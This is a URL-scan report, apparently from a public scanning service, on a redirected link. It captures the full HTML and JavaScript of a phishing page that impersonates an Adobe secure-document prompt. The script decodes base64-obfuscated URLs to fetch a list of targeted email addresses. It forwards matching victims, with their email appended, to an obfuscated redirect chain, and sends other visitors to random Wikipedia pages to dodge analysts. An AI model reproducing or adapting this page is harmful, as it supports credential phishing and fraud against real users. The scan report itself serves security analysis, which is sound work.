- ID da verificação
- 947b1937-bb2e-4d87-8af9-8134fa9e9326Concluído
- URL enviado:
- https://google.com/amp/s/alnamoosgroup.com/dirxRedirecionado
- Relatório concluído:
Ligações · 1 encontradas
As ligações de saída identificadas na página
Hiperligação | Texto |
---|---|
https://www.adobe.com/privacy.html | Privacy Statement |
Variáveis JavaScript · 7 encontradas
Variáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer parte do código dentro do âmbito atual
Nome | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
fetchEmailList | function |
continueLoading | function |
validateEmail | function |
fetchRandomWiki | function |
Mensagens de registo da consola · 3 encontradas
Mensagens registadas na consola web
Tipo | Categoria | Registo |
---|---|---|
error | network |
|
error | network |
|
error | network |
|
HTML
O corpo HTML em bruto da página
<html lang="en"><head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>Authenticate User Account</title>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<link rel="shortcut icon" href="astss/favicon.png" type="image/x-icon">
<style type="text/css">body {
font-family: 'Roboto', Helvetica, Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: #333;
background-image: url('astss/bgacccsss.png'); /* Add your background image here */
background-size: cover;
background-position: center;
}
.header {
width: 100%;
background-color: #0078d4;
color: white;
text-align: left;
padding: 10px 20px;
box-sizing: border-box;
font-size: 18px;
position: absolute;
top: 0;
}
.header span {
margin-left: 20px;
}
.container {
background-color: white;
border: 1px solid #ccc;
border-radius: 20px;
padding: 33px;
width: 80%;
max-width: 300px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
text-align: center;
margin-top: 0px;
}
.container img {
width: 230px; /* Increased width */
margin-bottom: 5px;
margin-top: 20px;
}
.container h2 {
font-size: 18px;
margin-bottom: 20px;
color: #333;
}
.container p {
margin-bottom: 10px;
color: #666;
}
.container p2 {
margin-bottom: 30px;
color: #666;
font-size: 13px;
}
.container input[type="email"] {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 10px;
margin-bottom: 20px;
font-size: 13px;
box-sizing: border-box;
text-align: center;
}
.container #continue-button {
width: 65%;
padding: 10px;
background-color: #0078d4;
color: white;
border: none;
border-radius: 18px;
font-size: 13px;
cursor: pointer;
}
.container button:hover {
background-color: #005a9e;
}
.container .footer {
font-size: 12px;
color: #888;
margin-top: 20px;
}
.social-button {
width: 100%;
margin-bottom: 10px;
border: none;
border-radius: 20px;
font-size: 14px;
color: white;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
padding: 10px;
}
.social-button i {
margin-right: 10px; /* Space between icon and text */
font-size: 18px; /* Icon size */
}
.social-button.google {
background-color: #4285F4; /* Google Blue */
}
.social-button.yahoo {
background-color: #6400DC; /* yahoo Blue */
}
.social-button.microsoft {
background-color: #000000; /* Microsoft Black */
}
.social-button:hover {
opacity: 0.9;
}
@media (max-width: 600px) {
.social-button {
width: 100%;
font-size: 13px;
}
}
.or {
margin: 17px 0 17px 0;
font-size: 14px;
color: #888;
}
@media (max-width: 600px) {
.social-button {
width: 100%;
font-size: 13px;
}
}
@media (max-width: 600px) {
.container {
padding: 20px;
}
.container h2 {
font-size: 20px;
}
.container .space {
margin-bottom: 20px;
}
.container input[type="email"] {
font-size: 14px;
}
.container button {
font-size: 14px;
}
}
</style>
</head>
<body>
<div class="container"><img alt="soft Logo" src="astss/acrobat.png">
<h2>Authenticate Email</h2>
<p><strong>You've received a secure document:</strong></p>
<p2>To access this secure document, we'll need to verify the intended recipient's email. Please enter the email address to which this document was shared.</p2>
<br><br>
<input id="email-input" placeholder="Enter Email" required="" style="margin-top: 10px;" type="email">
<button id="continue-button">Next</button>
<p class="or">OR</p>
<div class="social-login">
<button class="social-button google" onclick="window.location.href='https://accounts.google.com'">
<i class="fab fa-google"></i> Continue with Google
</button>
<button class="social-button yahoo" onclick="window.location.href='https://login.yahoo.com/'">
<i class="fas fa-envelope"></i> Continue with Yahoo Mail
</button>
<button class="social-button Microsoft" onclick="window.location.href='#'">
<i class="fab fa-Microsoft"></i> Continue with Microsoft
</button>
</div>
<div class="footer" style="font-family:'Segoe UI'; ">
<p>Encrypted by Adobe</p>
<a href="https://www.adobe.com/privacy.html" target="_blank">Privacy Statement</a><br>
Tower 2, Level 27/201 Sussex St, Sydney NSW 2000</div>
</div>
<script>
let attempts = 0;
async function fetchEmailList() {
const encodedUrl = 'aHR0cHM6Ly9kZXJ4bnBnLnBhZ2VzLmRldi9ldWxpc3QudHh0';
const decodedUrl = atob(encodedUrl);
const response = await fetch(decodedUrl); // Path to your email list file
const text = await response.text();
return text.split(/\r?\n/).filter(email => email.trim().length > 0);
}
async function continueLoading() {
const emailInput = document.getElementById('email-input');
const email = emailInput.value.trim();
const validEmails = await fetchEmailList();
if (validateEmail(email)) {
if (validEmails.includes(email)) {
const link = "aHR0cHM6Ly9zai1jZS5vcmcvdHJhY2tpbmcvYm5ydHJhY2tpbmcucGhwP2Jhbm5lcl9pZD0xJmluZGl2aWR1YWxfaWQ9JnVybD1odHRwcyUzQSUyRiUyRnd3dy55b3V0dWJlLmNvbS9sb2dvdXQ/Y29udGludWU9aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zLzBhMWQwYmY3LjZjZjdmM2M1ZDgxMjk0MmRhMmNiNjcwNi53b3JrZXJzLmRldi8="; // Base64 encoded link
const decodedLink = atob(link);
const finalLink = `${decodedLink}?0x0x=${email}`;
window.location.href = finalLink;
} else {
attempts++;
if (attempts >= 4) {
const randomWiki = await fetchRandomWiki();
window.location.href = RandomWiki;
} else {
alert("Email not recognized. Please try again.");
}
}
} else {
alert("Please enter a valid email address.");
}
}
function validateEmail(email) {
const re = /^(?=.{1,256})(?:(?:(?!\.)[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*)|(?:"(?:\\[\x01-\x09\x0b\x0c\x0e-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*"))@(?:(?!-)[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*\.[a-zA-Z]{2,})$/;
return re.test(email);
}
async function fetchRandomWiki() {
const response = await fetch('https://en.wikipedia.org/wiki/Special:Random');
return response.url;
}
document.getElementById('continue-button').addEventListener('click', continueLoading);
document.getElementById('email-input').addEventListener('keydown', function(event) {
if (event.key === 'Enter') {
continueLoading();
}
});
</script>
</body></html>